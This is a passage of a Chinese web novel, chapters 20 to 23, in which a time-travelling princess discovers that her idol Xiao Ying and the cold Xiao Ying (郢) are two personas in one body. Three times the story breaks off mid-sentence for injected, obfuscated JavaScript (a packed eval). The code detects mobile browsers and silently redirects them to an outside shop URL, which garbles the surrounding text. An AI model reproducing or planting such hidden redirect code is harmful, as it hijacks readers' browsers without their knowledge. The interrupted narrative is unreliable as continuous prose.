温吟知看着眼前清疏柔和的面容,长睫落下淡淡的阴翳,沉睡的他透出冰雪似的空静。一点都无法将这样的肖郢同梦里的肖郢联系起来。 梦外他生病,梦里的他也很惨。甚至那个梦中他还是郑渊派来接近她的一枚棋子。 忽而温吟知感觉到肖郢的指尖动了动。 她瞬间呆滞在原地,不敢动弹。 床上安静躺着的人轻颤着睫羽,好一会后方才吃力地睁开眼。他直直看着头顶,软菱纱帐,淡香清雅,女子闺房。 头疼欲裂。 他侧眸,瞧见一容貌迤逦、身着华丽的姑娘趴在床侧,他清澈的眼里染上几丝疑惑:“你是?” 出口的声音虽然暗哑却很有礼貌,虽面色依旧苍白无血色,却没有先前的清冷,多了许多温和。 “你好眼熟,我似乎在哪里见过你。”他的语气里多了些再见熟人的欢喜,话也多了起来:“让我想想。” 话刚落又嘟囔道:“我怎么会在这里,这里又是哪里?” 几个简短的话语,让尚且还没从肖郢苏醒欢喜中的温吟知再次震惊。 他明亮清澈的眼神里没有一丝清冷,更没有这世温吟知初见他时,拒人千里之外的清冷感。趁着温吟知愣神的时间里,肖郢已经扶着床坐起身来。 他稍微凑上前靠近了些,保持着合适又不冒犯的距离,眼睫柔和地轻垂,温柔地询问:“你怎么哭过了,是遇到什么难过的事吗?” “你需要帮助吗?” 她的心漏跳了一拍。 “你是谁。”她颤着声。 他脸上干净的笑意很漂亮:“我是肖赢。” 没有丝毫犹豫,像是说了很多遍般自信阳光熟稔地说出了他的名字。 “哪个赢?” “输赢的赢。” 20. 双重人格 在肖赢说出那句‘输赢的赢’时,温吟知感觉时间仿佛在这一瞬间凝固了。 肖赢看着眼前眼眶通红,怔怔看着他的女生,以及周围古色古香的摆设。没有剧组工作人员,没有摄影师。他感觉颅内一阵刺痛袭来,他忍不住双手抱头,那些飞逝的岁月汹涌地冲进他的脑海里。 温吟知着急:“你还好吗?我去叫太医。” “我没事。”肖赢连喘了两口粗气,再次抬头看她时,漂亮干净的大眼睛里充满了不可思议的期待。 “氢氦锂铍硼。” “奇变偶不变。” “宫廷玉液酒。” 肖赢一口气连说了三个现代耳熟能详的穿越暗语,温吟知从未如此相信如此确定,眼前这个人就是她认识的肖赢。 相认的欢喜情绪早就在初遇肖郢那一刻激动过了,如今的她只剩下肖赢好好活着的庆幸中。 那先前的肖郢呢?他去哪里了,如今这一切又是怎么回事。 “肖赢。”她抿着唇茫然地看着肖赢,也不知是欢喜还是难过,不明白肖郢怎么变成了肖赢。 “嗯?”他下意识地应答,像是应答了成千上万遍那般熟练,那是他与粉丝之间十年来保持的习惯。 温吟知的心里更难受了,她不知道自己是怎么回事。遇见肖郢的时候,她在想他是现代的肖赢。如今肖赢就在她面前了,她又在想那个肖郢去哪里了。 没有等到她回答现代穿越暗语的肖赢不死心:“你知道‘萤火虫’吗?” 见她不说话,一双沉默的眼睛里仿佛隐藏着无数难以言说的情绪时,肖赢心里有些底了。 “我见过你很多次,你每次都很安静地坐在前排的位置上,或者站在一旁的角落里,和周围的人格格不入。” 他说到这里时,温吟知明亮亮的眼睛湿漉漉地看着肖赢。 他继续说道: “你还记得在国外的一个雨夜,我在荒凉的路上遇见了你。” 温吟知再也忍不住,低下头遮掩住滴落的眼泪。 肖赢下意识地伸手,慌张颤抖地想要替她擦泪。又不知想到什么,反应过来后他犹豫了,手停在了半空中。 “你……你别哭。”他结巴,不知所措地解释。 温吟知五指捂住唇,无声呜咽。 从她十五岁到二十五岁,再胎穿到雍朝历经十六年的光阴,一共二十六年。 二十六年前在国外的一个夜晚,温吟知朝后背开了一枪,二十六年后这枚子弹正中她眉心。 这枚子弹是偶像正在你面前,一字一句诉说着这些年他对你的印象。是自己对上他的眼神时,不争气的眼泪。是穿越时空在陌生纷扰的世界里,再一次的重逢相遇。 她足足花了二十六年的时间,才真正走到他面前。她终于能将两人在现代初次见面的故事讲完了。 “你需要帮助吗?”这一句话对当时的温吟知来说犹如天籁之音。 “Yes。”温吟知冷得牙齿都在发抖,激动的同时依旧保持着警惕心并未向男生靠近,只是向他阐明她需要一个手机联系家人。 男生立即表明没问题,看出她的堤防和害怕后,提出了一个新的解决方法:“你说电话号码,我开扬声。” 温吟知应下,这是最好不过的方法。 她流利地报出妈妈的电话号码,电话那头立即就被接通了。 雨声喧闹的夜晚,扬声器里是妈妈疲惫的声音:“你好,哪位。” “妈妈!”温吟知听到裴女士的声音,嗓音不由激动得提高了几分。 “浓浓?”裴女士疲惫的语气立即没了,声调都调高了一个度。 “妈妈是我。你快来接我,学校里有同学拿走了我的所有私人物品,学校里也没人,我联系不上你们。”她没说自己被霸凌的遭遇,不想妈妈过于担心她开快车。 一直在忙碌的裴女士还不知道自己的女儿遭遇了什么,但光这些就够电话那头的她急了,她忙着询问温吟知在哪里。 温吟知忙看向男生,也不知晓他是哪国人,用打算开口用英语询问他,他便用流利的国语报出地图上显示的位置。 裴女士说她很快就会到,让男生表示电话畅通。男生表示可以不挂电话,他将电话给温吟知。 裴女士在电话那头万分感谢。 温吟知一直默默注视着他,他戴着鸭舌帽即使有车光,却因为夜色她始终看不清他的脸。 朦胧的雨被远方斜照来的车灯照耀着,在光中勾勒出雨如细针的形状。他冒着雨向她而来,高大的身躯遮挡住耀眼的车灯。 她听到了他玉石般清润的声音:“我现在将手机给您女儿。” 他迈着稳健的步伐一步步靠近她,背后的车灯随着他的走动,忽暗忽明地照亮他的脸。 高挑的鼻梁,流畅的下颌线,然后隔着安全的距离将手机和手中的伞递给她。 “下雨了,我陪你等你家人来接你回家。” “你别害怕,我是好人,给你送完伞我便回去车那边的位置。” 温吟知接过他的伞,发自内心的感谢他:“谢谢。” “不用客气。” 黑夜中他转身回到车旁的位置。 她一直撑着伞站在路边,看向车子的人。后面她看见好几束车灯打过来,大老远就看清裴女士的车牌号后,温吟知提前将手机还给了他,隔着车窗向他鞠了躬。 他微不可察地笑了下。 裴女士赶来了,还带着许多保镖。温吟知还没有被吓哭,裴女士倒是先被吓哭了。她安抚着裴女士的情绪,就这么一眨眼的功夫,男生就这么没有声息地离开了。 事后裴女士想感谢对方,回拨过那个电话号码却一直没人接听,后面甚至成了空号。温吟知一直不知晓当晚帮她的人是谁。 直到肖赢出道,一夜暴火。 她在陌生的城市陌生的街头,听到了播放的歌曲里传出那道玉石般清润的声音。 她才知道他叫肖赢。 那年她十五岁,他十八岁。 无论现代十年,还是古代十六年。原来这二十六来,肖赢一直都记得她,记住了芸芸众生中,其中一员的她。 温吟知终于能卸下了所有的防备,说出了那些耳熟能详的的暗语: “氢氦锂铍硼,碳氮氧氟氖。” “奇变偶不变,符号看象限。” “宫廷玉液酒,一百八一杯。” “萤火虫——”温吟知停顿一下,眼底的情绪在翻涌:“是你的粉丝名。” “真的是你!”肖赢眼中流露出‘家人果然是你’的欣喜神色,瞧见她的情绪已经恢复正常后,他环顾着四周小声发问:“不过这到底是怎么回事?” 温吟知凝眉,认真打量着眼前的男子,十分确认眼前的肖赢绝对不是这两日与她相处的肖郢。 她试探性问道:“你还记得肖郢吗?郢是地名的那个郢。” “肖郢?”他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17352471|198783||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 半阖眼念着这个名字,感觉太阳穴又刺痛了一下,抬起双手欲要抱住脑袋。 相似的动作,温吟知害怕历史重演,她倏地握住了肖赢的手腕:“深呼吸,别急。” 肖赢抬起头看她,原本干净透彻的双眼里充满了恐惧。他赤着脚跑到了梳妆台,面露诧异地看着镜中自己的容貌,以及身上的伤。 在经过多番确认后,他浑身都在冷得发抖:“我……我我是肖郢。” 温吟知心情沉重,听着他问:“今年是哪一年。” “雍和二十九年。”温吟知答。 肖赢悬着的心终于死了,疑惑自语:“我的记忆停在了十年前,我八岁那年。” 他少了整整十年的记忆。 “李太医李太医!”温吟知小跑着出去寻人。 一直候在偏殿的李太医听到传唤后立即出现,肖赢压下心中的疑惑,不动声色地观察着周围的人和物。他听到李太医向她行礼喊她公主,她习以为常地命令着李太医为他检查头部。 肖赢全程保持着安静。 经过一番检查,李太医得出结论:“他的头部没有找到任何伤口,应当也没受过猛烈的撞击。” 肖赢和温吟知二人互相对视一眼,不是头部受到猛烈撞击而造成的失忆。 肖郢跟肖赢,一个清冷柔弱一个温暖阳光,二人性格相差天差地远。 失忆是不会改变一个人本身的性格的。 温吟知挥挥手,让待殿内的人全部都退下。 如果不是脑部受到重击而导致的失忆,温吟知心里还有另外一个答案,那便是人格分裂症。 相同的一张脸却完全不一样的性格,长达十年的记忆缺失的那段时光里,是他身体里的另外一个人格觉醒了。 “你是说我有人格分裂症?”肖赢思索着现代关于人格分裂症的记忆,他没关注过相关信息,因此对人格分裂症所知晓不多。 “是,我认识这个朝代的你叫肖郢,左呈右阝的郢。”温吟知明白自己的想法很荒诞,但她无法用其它科学的解释同一个人为何前后性格相差如此之大。 肖赢也无法接受这个荒谬的想法,但他瞧着温吟知如此严肃的样子,不由也偏向她的猜测。 毕竟他也无法解释再次醒来,他从八岁长成了十八岁。 这消失的十年去哪里了。 “你能和我说说,你跟肖郢之间所有的事吗?” 温吟知犹豫了会:“当然可以。” 她将这两日与肖郢相处的种种与他细细道来。 “第一次见你的时候,你模仿现代的舞台剧搭建了一个舞台,在上面唱了周董的《兰亭序》” 她说着从两人的初见和入宫,以及朦胧的雨夜肖郢撑伞寻来,还有后来他被抓去内侍局的惨状。 内侍局是肖郢的‘终点’,他昏迷过后苏醒过来是肖赢。 肖赢听完肖郢内侍局的遭遇后,沉默了。 “这真的是我吗?” 他不由也陷入深深的怀疑中,手无意识触碰到桌上的茶几,露出手上交错的伤痕。 肖赢深深看着那结巴的旧伤:“也许你说得对,肖郢可能是我另外一个人格。” 这一身的伤痕便是最好的证明。 明灭的烛光在他眼中忽闪忽暗的,温吟知看着他那双干净透彻的眼睛染上几丝心疼。 他说: “那么他为什么消失了。” “又为什么我来了。” 21. 思念的思 从胎穿到雍和,肖赢所活在雍朝的岁月只有前面八年。八岁后的所有记忆,全都没了。 肖赢沉睡了十年,他想知道答案。 “也不知晓十年过去了,我的父母和妹妹如今还好吗?”肖赢双手撑在身后,仰头看向屋顶,一不小心扯到了身上的伤口,疼得他倒吸一口气。 他低头看自己这般瘦弱的身姿,无法想象那段消失的记忆里他都经历些什么。 “我身上这些伤,你知晓是如何来的吗?”他问。 温吟知微不可察地偏过头去,有些不忍告诉肖赢答案。李太医说,他这一身伤是入宫前就有了。他的父母和妹妹……温吟知莫名联想到在地牢的梦境里,郑渊说过的两句话: “贱种,若不是你生了一张好脸,我早就将你同你扔进斗兽场里。和你母亲一样被野兽撕烂搅碎你这身贱骨头。” “就该将你妹妹也一块扔进斗兽场里,让你再一次亲眼瞧着亲人被一点点被啃食的过程。” 温吟知蓦的心脏一阵抽疼,她捂着胸口大口喘气。如若郑渊在她梦里说的都是真的……温吟知猛地抬起头,对上肖赢关心担忧的目光。 “你还好吗?”他轻声询问。 肖赢的母亲很有可能不在了,至于他的父亲失踪多年,此案已成悬案,估计也不在人世了。唯一还有可能活着的人,便是他的妹妹。 温吟知无法对着肖赢这张脸撒谎说她还好。 肖赢生病了。 生了很严重的病。 严重到他忘记了这个时代十年间所经历的事情,甚至还生出了另外一个人格肖郢。 所以在避暑山庄她追出去的时候,肖郢才会对她说:“公主认错人了。” 所以那日才会在她二连追问下,肖郢依旧坚定地摇头,给了她否定的答案。 肖郢的确从未见过她,更不认识她。 很奇怪的感觉在心中蔓延,温吟知不知道自己做了什么,让肖郢换成了肖赢。 这算不算病好?肖郢还会再次出现吗?许多问题在温吟知的脑海中萦绕,最终都汇聚成一个念头——肖赢肯定吃了很多很多的苦,才会有繁育出第二人格。 想至此,她更加心疼他的来时路,难过的想哭。 “你为什么看起来快哭了。”肖赢陪在温吟知身侧,眼底亦是满满的心疼和不知所措。 温吟知努力不让眼泪掉下来:“没事,我只是想家了。” 知道穿越小说中,为什么主角大多数都是孤儿吗?因为只有这样才能让主角留下来,顺理成章的展开故事。可她温吟知不是孤儿,反而在现代有爱她的爸爸妈妈,家人朋友。 无法回到现代一直是她心中不愿去想的痛。 她甚至不敢去想,爸妈在她即将接管公司却去世这件事上,会不会陷入深深的自责当中。 她喜欢有爸妈在的那个时代。 那是上下五千年里,目前为止对女性最好的时代。她可以读书上学、出国、旅游、工作、赚钱、买房,拼搏……可以自由的拥有自己的人生。 而不是现在困在深宫,活在尔虞我诈的算计中。 “别难过。”肖赢温和的声音,轻柔的在她耳边响起。 他的目光直视前方,穿破黑夜望向遥远的东方:“无论你在哪里,她们都希望你平安、快乐,顺利。” 温吟知浮躁不甘的心,逐渐平静下来。肖赢总是有这样神奇的魔力,轻易的一句话就能让安抚她的情绪。 在现代因着他太过干净的长相,会被一些约定俗成的偏见定义,觉得他柔弱、像个女生……但只要稍微接触一下他本人,便知道他是一个很有反差的人。 他从不是一个软弱的人。 反而个体户出身的他,是一个很有担当和责任心,有着坚强的外表和独立解决事情的能力,也有着细腻的思想与柔情的人。 “肖老师。”温吟知自动换成圈内人对肖赢的尊称:“我一定会帮你找到你在雍朝的家人。” 肖赢笑着颔首:“嗯我们一起努力,但你要喊我肖老师,我就要唤你一声公主殿下了。” 听到肖赢唤她公主殿下,温吟知莫名有种她在和自己偶像拍古装剧的违和感。特别殿下一词从他口中说出,让她忍不住脚趾扣地。 “那我该怎么称呼你。” “直接喊名字。”肖赢眉目含笑,尾音拉长:“公主。” 很明显后面那一句公主纯粹是在调侃,温吟知不禁被肖赢逗笑了,俩人之间的气氛轻松了许多。其实在现代温吟知私底下也是喊肖赢名字,偶尔才会喊肖赢小名。 毕竟只有肖赢这个名字才能做的上数据。 “我叫温吟知。”温吟知很认真的同肖赢介绍自己:“朋友一般喊我知知,家人都称呼我的小名,浓浓。” 肖赢若有所思地点头,正欲开口唤她一声‘知知’。屋内就传来清脆的咚咚两声,有些沉闷并不干脆。 温吟知试探性地喊了一声:“撕家?” “喵?”撕家从青花缠枝梨腰鼓瓶里,探出鬼鬼祟祟的猫头。 肖赢眼前一亮,十分欣喜地夸赞道:“好漂亮!” “喵喵~~”听到夸奖的撕家拉长语调,像打地鼠游戏的那个地鼠一样,瞬间将头完全探出来。 恰好春雪这会端着药进来,吓得她赶忙扶住瓶口:“撕家!这个很贵的!别再打碎了。” 肖赢抓住关键词,笑意盈盈地看向温吟知:“它叫思家?” “嗯。”温吟知心里头还是有些担忧着父皇的长生丹,是否会给她的猫留下后遗症,因此只是淡淡地应和着。 “是思念的思?” “是撕毁的撕。” 肖赢摇摇头,像是看穿了她所有的小心思抿唇淡笑:“是思念的思。” 温吟知不由想起撕家刚进宫来那一天,它就上房揭瓦,栖鸾宫内一鸟不留,全部遭受它的‘暗杀’。于是在旁人问猫儿名字的时候,温吟知脱口而出而出‘撕家’二字,大家便都以为撕家的撕,是撕毁的撕。 撕与思同音,从来都没有人去分辨撕家的名字是哪个si。直到今天,有人同她说,撕家的撕是思念的思。 原来它撕家,她也思家。 春雪将药放在桌子上,瞧着眼前的肖公子。人虽醒过来了,唇边带笑,瞧着精气神是不错。但他后背一直紧绷着,脸上没有什么血色,下颌削痩而苍白。 春雪心下了然,肖公子这是一直在强撑着。 温吟知如何不知肖赢刚刚醒来,身子骨还虚弱着。她招呼着肖赢坐下,将桌上的药递给他:“快喝药吧。” 肖赢顺从的坐下,接过那碗药,微微仰头喝下。温吟知就坐在他身侧,可以看到他宽松不合体的衣裳松开的领口处,不经意间露出许多旧日的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17357392|198783||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 疤痕。 大大小小、深浅不一。只窥冰山一角,却让温吟知一阵心惊,忘记呼吸。 肖赢放下碗,只是眉头蹙了蹙,一碗苦药就这么被他消灭干净。 春雪顺手接过药碗,将准备好的蜜饯递上,有意调解气氛开口道:“肖公子有所不知,陛下和皇后娘娘都很疼爱公主,公主的家就在这,怎么会是思念的思呢?这猫儿可皮着呢,就是把家都撕碎的那个撕。” 被点名的思家懊恼地叫了一声,从瓶子里弹跳飞扑而出,在空中表演一个飞毯猫,作势要吓死春雪。 春雪早就习以为常思家这个幼稚鬼的把戏,不甘示弱得冲它做鬼脸。思家气急了,在屋内上蹿下跳的。 温吟知柔和地注视着思家的一举一动,看着它活泼好动调皮的模样,丝毫没有被长生丹给影响,悬着的心总算是落下了不少。 就在她内心感慨的时候,思家从她面前急促而去,手贱地打碎了她窗前的悉心养护许久才开出一朵花苞的花。 “别——”温吟知出口制止。 瓷片声响,同时温吟知的耳边也响起一句新奇的物语:“Surprise!” 温吟知惊讶抬头,看到肖赢眼底掩饰不住的温和。 他说:“你的花可以换件‘新衣裳’穿了。” 他说完起身,去查看花儿的情况。温吟知愣了一秒后,目光紧紧追随他而去,从内心里发出欢喜的笑容,连他在古代说着外语都没有忐忑不安地指出。 肖赢一直都是这样的,他是个很乐观温暖向上、温柔治愈、灵魂干净纯粹的人。这是她喜欢了很多年的偶像,在很多次迷茫失落难过开心喜悦时给她无数能量的人。 这才是真正的肖赢啊。 “那我呢?” 温吟知脑海里莫名出现肖郢的声音,两个人格就连嗓音都不太一样。肖郢的语调常常都是低沉的冷,不带任何情绪。 这样一位在现代经历网暴、被诋毁、打压沉寂两年又重回顶流,有着强大内核的人,为什么会繁衍出第二个人格肖郢。 温吟知心中不由又染上几丝悲切。 颜晚周刚好进门看到的就是眼前这一幕,很怪异的感觉在他心中蔓延。他能感觉到温吟知同肖赢二人之间的氛围像是相识多年、久别重逢的旧友那般温馨祥和。 这股怪异的感觉压得他都未留意到,肖赢那一句听不懂的外语。 肖赢迎面与颜晚周碰上,视线在颜晚周脸上停留两秒后,他淡笑着颔首,然后越过他往窗外而去。 花盆碎了,花儿依旧在,只需要挪个盆便能继续活。 颜晚周侧过身看肖赢,心中疑惑短短一日未见,他为何周身气度判若两人。 春雪捧着新的花盆询问着肖赢要用哪个盆,肖赢转述:“你更喜欢哪个盆?” 温吟知给出了答案:“你左手边那个。” 肖赢应下,温吟知又道:“你手上有伤,让春雪去做吧。” 思家重返案发现场,站在窗户上尾巴一扫一扫地歪着头看着底下忙碌的人。 春雪同春婳嘀咕着:“你去把撕家抓过来,它打碎的,我要按着它的爪子将土装回花盆里。” 思家不满:“喵!” 春雪:“扣你猫粮!” 思家反抗:“喵喵!” 高冷的春婳没理会这一人一猫,默默给花挪盆。 22. 污名无名 肖赢驻足微笑,温吟知站在一边欣赏会三人一猫的画面,这才想起站在原地许久的颜晚周。 颜晚周是温吟知特地请来的。 白日里李太医在为肖赢诊完脉,检查过他头部没有任何伤势后,曾神神秘秘的同温吟知禀告。 “老臣一月前曾救过此人。” 李太医压低声音:“就在皇宫,就在太医院公主被暗杀的那一晚。” 温吟知眼神微凝,李太医继续将自己知道的全数说出来,毕竟他现在可是和公主是一伙的。这救人归救人,可不要惹上什么麻烦。 “此人就这么随意的用一卷草席扔在院中,那夜的雨公主也知晓有多大。要不是老臣医者仁心,想着即便人死,也该让他有个能够遮雨的地方,想为他挪挪地。” “结果公主你猜怎么着,他竟然还有一丝微弱的脉搏。”李太医手指比了一个数字,心疼地道:“这个数。” “老臣当时可是喂了他一记这个数还阳丹,才保他一命。” 温吟知:“知晓了。还阳丹的钱你去找春雪,本官替肖公子还了。” 李太医这才喜笑颜开的离开,和聪明有钱的人说话就是开心。 思绪拉回,温吟知对着颜晚周说:“来了,坐吧。” 颜晚周明显感觉到,公主就连对他说话的语气都温和了许多,少了以前的阴阳怪气。 他家的暗探带回来的消息称,她苦心研究多年的稻种被四殿下率先领了功劳,外头流传着她水性杨花养面首的流言蜚语。发生了那么多事,她为什么看起来比以前还要平静随和,少了许多锋芒毕露的棘刺。 颜晚周更加猜不透她深夜请他而来的用意。她身上成谜,他一直都未曾看清楚她。 而且她好似哭过了,晶莹水润的双眸外是泛红的眼尾。 颜晚周不动声色地多看了她几眼,究竟还是个在皇室里备受宠爱长大的公主。接连发生了这么多事,心里头怎么会没有情绪。 温吟知:“深夜请你而来,是有一事相商。” 颜晚周:“公主请说。” 他在心里早已盘算好,如若公主开口寻求帮助,让他帮忙对付四殿下,他会提点她两句。 但他未曾聊到,温吟知今夜寻他而来,不是为了她自己。 她说:“我想要知晓,一个月前陆今年为何要火祭那五人。这五人又是什么身份。” “臣没有义务向公主禀明。”颜晚周不解,她如今当务之急难道不该是处理四殿下抢她功劳一事吗? 温吟知:“陆今年的官职已撤,按造我对父皇的了解,父皇短时间内都不会再用他的。他短时间内也不会再是你的竞争对手。” “所以呢?”颜晚周摩挲着手上的扳指,冷笑:“陆今年只是被革了职,公主并未将他除了,他还有卷土重来的机会。” 温吟知悠悠笑着:“所以呢?所以你不想雍朝安稳下来吗?” “既然同本公主做了盟友,就没有半路散伙的道理。” 被呛了一句的颜晚周这才留意到温吟知一直都是自称我,并未称呼本公主。为了这小小的称呼改变,他摩挲扳指的手指停顿了一下。于是原本到嘴边的话一转,改口道:“你想听,我说便是。” 他隐隐的退让,悄悄地将二人的称谓换了。不再是公主与臣,而是你与我。 温吟知没有察觉到他这小小的改变,因为她忍不住在心里骂着颜晚周老狐狸,从他这里捞一点好处都如此艰难,根本没有察觉到这些小改变。 “快说。”温吟知催促。 颜晚周垂下眼睫看着她脸上着急的小表情,缓缓开口:“这事,要从一日我收到一封密信开始说起。” “那日我在家中午睡……” “颜晚周。”温吟知语气严肃喊他名字。 被点名的某人从鼻腔里极轻极轻的轻笑,终于正经道:“写信的人很谨慎,只在信内写了一行字。回声戏团,陆今年。” “我收到信后私底下去查过这个戏团,一无所获。戏团背后的掌控之人,也不是陆今年。我本以为这是谁在戏弄我,可是一个月前,我收到陛下暗地里准备要火祭的消息。” “火祭一共五人,四位女子均是朝中不愿跟随四殿下一党,被拎出来杀鸡儆猴官员的孩子。至于那名男子,正是出自回声戏团。”颜晚周说完,目光落在院外的肖赢身上。 温吟知查不到这五人的信息是因为父皇封锁了这一切,不允许任何人打探。她的母族资源在太子哥哥死后,逐渐都倾向温元钦。因此温吟知也没有强大的情报网,能像颜晚周这般及时知晓朝中发生的事情。 所以温元钦其实有句话说得对,她从哪方面来说,都不比温元钦更占优势。 颜晚周收回目光,继续同温吟知商量:“陛下看在公主的份上,虽留了那五人一命,但也下了口令不许再入宫。此事后,四名女子家中在朝为官的家人,均辞官回乡。” 颜晚周锐利的眼神看向温吟知:“公主你可知这位肖公子便是火祭的那名男子。” 温吟知坦荡地迎上他的目光:“在你来之前刚刚知晓。” “他有问题。” “我知晓。” 颜晚周有些生气:“你知晓还留他在身侧,任凭外界流言蜚语污你名声。” 温吟知郑重道:“他救过我,污我名声的不是他。” “正是因为他救过你,他才显得可疑。”颜晚周笃定道:“暗杀当日他是被陆今年带走的,一月之后你与他在林氏避暑山庄相遇。你生在宫中,最懂人心。你信天底下有这么巧的事吗?” “你和林二公子都被他给骗了,他是陆今年的人。” 温吟知抬眼:“所以你信了回声戏团背后真正的掌权之人是陆今年。” 颜晚周沉默,虽无相关证据,但他潜意识里已经被影响,认定这个戏团与陆今年有关。 温吟知点破:“写信之人目的达到了。” 不多写,只有两个名字,剩下的一切全靠颜晚周自己去查、去想。而往往人的想象力是无穷的,外加颜晚周与陆今年是政/敌,便会在无数次的过程中代入、揣测这个可能性。 可是一个戏团而已,就算他真的被信影响,确认戏团是陆今年的又如何? 颜晚周慢慢抬眼看向温吟知。 温吟知淡笑:“你查到的这个戏团的主子是谁。” 颜晚周思索了下:“一位姓郑的男子。” 温吟知给出答案:“郑渊?” 颜晚周凝眉:“你如何得知,你也曾去查过?” “不曾。”温吟知越来越觉得自己接近真相了,她追问:“那封信呢?” 颜晚周答:“并未带来。” 意料之中的回复,温吟知颔首,问:“那你还能认得出那字迹上的笔迹吗?” “可以。”颜晚周答,这封未知名的信他早研究了许多遍,他也有许多想不明白的地方。 写信者是谁。 又 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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肖赢不明白二人之间发生了什么,静静待在一旁观察着温吟知同颜晚周。 “夜已深,你早些回去吧。”这话她是对颜晚周说的。 颜晚周看她这副不愿继续详谈的模样,也并不打算继续留下去,临走前道:“你不打算为自己洗去污名吗?就甘愿让四殿下抢走属于你的功劳吗?甘愿做无名吗?” 感情她今夜请他而来,全是为了另外一个男人,而不是为了她自己。 温吟知阖上眼休憩,语气淡淡道:“污名、无名又如何。只要我不在意,只要的我的精神内核足够强大,它们永远不会成为桎梏我身上的枷锁。” 为什么她母后封锁了宫里的流言,宫外却依然传开了她养男宠、水性杨花的传闻。她心里很清楚这是谁的手笔,她这是被自己的嫡亲哥哥背刺了。 “无名?”她身上的摇椅微微摇晃,她慢慢睁开眼,呢喃道:“这才哪到哪,我要它们成为我身上的荣光!” 属于她的东西,她只有心甘情愿的相让,绝不会委曲求全让人抢夺了去。 “精神内核足够强大……”颜晚周无意识念叨着这几个字,内心里掀起了巨大的惊天骇浪。他深深凝视了摇椅上的人几眼,身影隐入月色中逐渐远去。 23. 粉随正主 确定颜晚周离开后,温吟知略显疲惫地合上双眼,她有些困了。 树上的蝉鸣和送来的微风勾得她昏昏欲睡。 意识迷迷糊糊之中,她似乎又看见了肖郢。 对的是肖郢,而不是肖赢。 她看见一片叶子全黄了的银杏林深处,肖郢缓缓走在落满银杏叶的小道上,一头乌黑的青丝里白了发尾。 “肖郢。”她忍不住呼喊他的名字。 他听到呼唤后侧身回首,长身卷发中,那白了的青丝似挑染,那双清冷的眸中褪去了冷冰冰的温度,染上一丝悲切的深情。 他像是在看一位久别重逢的故人。 一阵清风吹落树上金黄的银杏,她隔着纷飞凋零的叶,看不懂他眼中的深意。 “你去哪里了。”她听见梦中的自己开口,声音里有她未曾察觉的颤抖。 在她的潜意识里,她认为是自己的狂傲自大害得肖郢‘死去’。 她从未害过人,这是第一次有人因为她的原因,消失不见了。 她问不出那句‘你还会回来吗?’,因为一人的归来就意味着另外一人的消散。 她也无法在两人之间做出选择。 他站在原地,在飘零的银杏中听着他再唤她一次公主。 他说:“公主,我一直都在。” “过去的永不消散,来日之路光辉灿烂。” “去做你想做的事,不要回头。”他极轻极轻地对着她说道,希望她能听见又不希望她能听见。 梦境开始消散,是狂风卷起的银杏扭曲了梦度空间。温吟知伸出手想要抓住他:“不要在梦中同我告别。” 她的手落空了,视角也改变了。 她看见她同肖郢一起走的路成了一场无限延伸的棋盘,肖郢继续背对着她往银杏林深处走去。 “肖郢!”她再一次呼唤他的名字,毫无征兆地被拖拽出了梦境。 她睁开眼,瞧见自己蜷缩在摇椅上,身侧一直送来微凉的清风。 缠有白布的手正拿着凉扇为她扇风。 头顶上方传来一道温润的声音:“又梦见他了。” 温吟知楞在原地,感受到自己右手掌心传来暖暖的温度。 她不知何时又紧紧握住了肖赢的手腕。 她恍惚着松开手:“对不起,冒犯了你。” 肖赢看她走神的模样,明白她还没完全从梦境中走出来。颜晚周走后,她便在摇椅上睡着了。肖赢担心她热着、担心她被蚊虫叮咬,便守在她身侧等她醒来,为她纳凉。 她在睡梦中一直紧锁着眉,喊着另外一个肖郢的名字。 他缺失了十年的记忆,方才温吟知同颜晚周交谈的时候,他并未入内探听而是守在了屋外,更不知晓发生了何事。 但他很聪慧,能从两人的只言片语中猜测些什么。 她现在的处境并不好。 “没有关系。”他不甚在意地笑了笑,手摇的扇子依旧没停,语气轻柔地说道:“我们一直都是最真挚的朋友,是十年来一起淋雨互相走过风雨的朋友。” “你很好,不必为无心的冒犯去道歉。” “如若可以,我也想听你说说你的故事,重新认识一下十年以来一直默默陪伴我,我却未曾熟悉的你。” 温吟知活了两辈子大概也没有想到,有一日自己的偶像会站在她面前,对她轻柔说着这些话,委婉地告诉她,她还有他。 她就像做了一场盛大又旖旎的梦,从来没有想过浩瀚宇宙中最璀璨的那颗星,也会为她而停留。 肖赢一直以来都是个很好很好的人。 她感动的想哭,从未想过会有这么一日,能够穿越时空在不知名的朝代,听到偶像对自己的关心。 但她今日已经哭够了,她是高贵冷艳的公主,不是小哭包。 面对再喜欢的偶像,也不能再犯规破坏自己的人设。 她扬起唇对肖赢笑了笑,模糊的视线里仿佛续上了方才的梦境,看见了那孤身在金黄银杏林棋局中行走的肖郢。 她后知后觉才领悟,肖郢看向她那一眼悲切的深情是怎么回事。 原来他所隐藏在眼中未曾说出口的话是:“以身设局,与你共赴天下乾坤。” 公主,我一直都在——无论我是肖郢还是肖赢。 